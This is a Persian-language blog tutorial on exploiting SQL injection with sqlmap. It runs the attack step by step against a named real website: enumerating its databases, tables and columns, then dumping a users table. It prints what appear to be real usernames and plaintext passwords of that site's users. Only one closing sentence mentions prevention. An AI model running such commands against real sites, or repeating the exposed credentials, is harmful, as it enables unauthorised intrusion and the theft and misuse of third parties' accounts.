اکسپلویت کردن آسیب پذیری SQL Injection
آسیب پذیری SQL Injection یکی از شایع ترین آسیب پذیری ها در دنیای وب می باشد. با توجه به پیشرفت روز افزون در دنیای طراحی وب و به روی کار آمدن زبان های برنامه نویسی مختلف باز هم نمی توان از آسیب پذیری ها در این حوضه در امان بود بطوری که طبق آمار منتشر شده حدود 25 درصد از حملات به آسیب پذیری SQL Injection تعلق دارد. حتی بسیاری از وب سایت های دولتی و مهم دنیا نیز دارای این آسیب پذیری می باشند!
میزان آسیب پذیری ها در سه ماهه دوم سال 2017
در این پست قصد داریم تا با اکسپلویت کردن این آسیب پذیری آشنا شویم. پس از پیدا کردن آسیب پذیری SQL Injection در وب سایت، سراغ ابزار Sqlmap در کالی لینوکس می رویم. یک ابزار قدرتمند که می توان انواع مختلف آسیب پذیری SQL Injection را با آن اکسپلویت کرد.
در ادامه همراه با اکسپلویت به معرفی سوییچ ها و دستورات استفاده شده می پردازیم.
برای شروع دستور زیر را در Sqlmap وارد می کنیم
sqlmap --url [Vulnerable Website] --dbs sqlmap --url http://www.bushmanscave.co.za/jaarprogram.php?id=3 --dbs
سوییچ –url برا مشخص کردن آدرس سایت و سوییچ –dbs هم برای بیرون کشیدن پایگاه داده های سایت استفاده می شود.
همانطور که در شکل بالا قابل مشاهده است تعداد 5 پایگاه داده وجود دارد
available databases [5]: [*] bushmanscave [*] dev_truscwebsite [*] information_schema [*] mysql [*] truscwebsite
حال با دستور زیر یکی از پایگاه داده ها را انتخاب کرده و جدول های آن را بیرون می کشیم
sqlmap --url http://www.bushmanscave.co.za/jaarprogram.php?id=3 -D dev_truscwebsite --tables
پایگاه داده dev_truscwebsite دارای 4 جدول است
Database: dev_truscwebsite [4 tables] +-------------+ | press | | user_rights | | user_target | | users | +-------------+
در قدم بعدی برای بیرون کشیدن اطلاعات کاربران سایت جدول users را با دستور زیر انتخاب و ستون های آن را بدست می آوریم
sqlmap --url http://www.bushmanscave.co.za/jaarprogram.php?id=3 -D dev_truscwebsite -T users --columns
جدول users دارای ستون های زیر می باشد
Database: dev_truscwebsite Table: users [6 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | email | varchar(255) | | fullname | varchar(255) | | hashpass | varchar(255) | | password | varchar(255) | | user_id | int(11) | | username | varchar(255) | +----------+--------------+
در نهایت با دستور زیر نام کاربری و رمز عبور کاربران را استخراج می کنیم
sqlmap --url http://www.bushmanscave.co.za/jaarprogram.php?id=3 -D dev_truscwebsite -T users -C username,password --dump
همانطور که مشاهده می کنید نام کاربری و رمز عبور کاربران سایت به شرح زیر است
Database: dev_truscwebsite Table: users [2 entries] +----------+----------------+ | username | password | +----------+----------------+ | Botes | intelse440bx2 | | adele | toomanypillows | +----------+----------------+
در پایان باید یادآور شد که روش های مختلفی برای جلوگیری از اکسپلویت شدن این آسیب پذیری وجود دارد که با برنامه نویسی صحیح وب سایت می توان در برابر سوءاستفاده هکرها از اطلاعات کاربران سایت جلوگیری کرد.
دیدگاهتان را بنویسید
برای نوشتن دیدگاه باید وارد بشوید.